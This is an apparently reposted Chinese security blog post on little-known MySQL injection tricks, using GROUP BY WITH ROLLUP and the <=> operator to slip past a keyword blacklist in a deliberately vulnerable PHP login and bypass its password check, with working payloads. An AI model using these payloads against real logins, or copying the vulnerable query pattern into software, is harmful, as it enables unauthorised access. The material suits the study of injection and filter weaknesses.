作者:spoock
转载于:https://blog.spoock.com/2020/10/08/mysqli-rare/
说明
工作之后,目前工作内容就是写代码和研究Linux内核相关的知识,已经很少研究有关SQL注入等相关知识了。这篇文章是最近在整理自己电脑文件时发现的。与其藏在角落里,还不如和大家一起分享下。由于时间过于久远,也无法确认是不是已经有人已经分享过了。
rollup
简介
mysql中的group by
后面可以接with rollup
修饰语,使用with rollup
修饰语可以在group by
结果后面增加一行(该行内容中的group by的列返回NULL,其他列返回相应的内容)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
|
# 没有rollup mysql> select Host,User from user group by host; +-----------+------------+ | Host | User | +-----------+------------+ | % | wackopicko | | 127.0.0.1 | root | | ::1 | root | | localhost | root | +-----------+------------+ 4 rows in set (0.00 sec)
# 有rollup mysql> select Host,User from user group by host with rollup ; +-----------+------------+ | Host | User | +-----------+------------+ | % | wackopicko | | 127.0.0.1 | root | | ::1 | root | | localhost | root | | NULL | root | +-----------+------------+ 5 rows in set (0.00 sec)
|
可以看到使用with rollup
之后,返回结果中会多一行,且Host字段为NULL。
以一个稍微复杂一点的例子来说明with rollup
的用法。
创建数据库
1 2 3 4 5
|
CREATE TABLE `t` ( `id` int(11) DEFAULT NULL, `id2` int(11) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8; insert into t value(11,11),(12,12),(13,13);
|
使用rollup查询
1 2 3 4 5 6 7 8 9 10
|
mysql> select id,sum(id2),avg(id2) from t group by id with rollup; +------+----------+----------+ | id | sum(id2) | avg(id2) | +------+----------+----------+ | 11 | 11 | 11.0000 | | 12 | 12 | 12.0000 | | 13 | 13 | 13.0000 | | NULL | 36 | 12.0000 | +------+----------+----------+ 4 rows in set (0.00 sec)
|
可以发现对于group by的列(在本例中为id),返回为NULL,对于其他列则是进行正常的操作(在本例中为sum和avg操作)。
rollup绕过检测
存在users表,其中仅仅只存在一条记录。
1 2 3 4 5 6 7 8 9
|
-- auto-generated definition CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255) NULL, password VARCHAR(255) NULL, CONSTRAINT users_id_uindex UNIQUE (id) );
|
需要绕过的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
|
function AttackFilter($StrKey,$StrValue,$arrReq) { if(is_array($StrValue)) { $StrValue = implode($StrValue); } if(preg_match("/".$arrReq."/is",$StrValue) == 1) { print "the attack is detected"; exit(); } }
$filter = "and|select|from|where|union|join|sleep|benchmark|,|(|)|like|rlike|regexp";
foreach ($_POST as $key=>$value) { AttackFilter($key,$value,$filter); }
$username = @$_POST['username']; $password = @$_POST['password']; $query = "select * from users WHERE username='{$username}'"; $query = mysqli_query($conn,$query);
if(mysqli_num_rows($query) == 1) { $result = mysqli_fetch_array($query); if($result['password'] == $password) { die('right'); } }
|
这道题目与常规的md5的登录注入类似,但是无法使用union
子句,此时就可以使用rollup
子句。
1
|
select * from users where username=''or 1 group by username with rollup
|
会产生一条password
为NULL的记录,使用limit取出这条语句,然后传入空的password
,最后就会NULL==NULL
而绕过验证。
如果不知道用户名,可以使用username=' or 1=1
。但是在本例中过滤了or
,那么可以使用username='=0
(利用’’=0的特性)。
POC为:
1
|
POST:username='=0 group by password with rollup limit 1 offset 1#&password=
|
<=>
同样是上面的那道题目,在POC中使用了limit
。如果limit
无法使用也被过滤了,则该如何绕过呢?
那么需要看一下SELECT的语法了。`
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROM table_references [PARTITION partition_list] [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [INTO OUTFILE 'file_name' [CHARACTER SET charset_name] export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]] [FOR UPDATE | LOCK IN SHARE MODE]]
|
GROUP BY后面可以接HAVING
子句,如果需要HAVING
子句生效,则需要后面的where_condition
为True。如果直接使用HAVING password=null的话不会生效因为mysql中 null = null 会返回 null。当 null <=> null 的时候会返回1。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
mysql> select null=null; +-----------+ | null=null | +-----------+ | NULL | +-----------+ 1 row in set (0.00 sec)
mysql> select null<=>null; +-------------+ | null<=>null | +-------------+ | 1 | +-------------+ 1 row in set (0.00 sec)
|
所以最终的POC为:
1
|
username='=0 group by password with rollup having password <=>null %23&password=
|
参考
MySQL group by with rollup
MySQL注入的一些偏门技巧
![红队技巧|MySQL偏门注入(文末进学习交流群) 红队技巧|MySQL偏门注入(文末进学习交流群)]()
HACK之道知识星球交流群
![红队技巧|MySQL偏门注入(文末进学习交流群) 红队技巧|MySQL偏门注入(文末进学习交流群)]()
若已满200人,请加我微信(shonefor345)拉你进群
原文始发于微信公众号(HACK之道):红队技巧|MySQL偏门注入(文末进学习交流群)
评论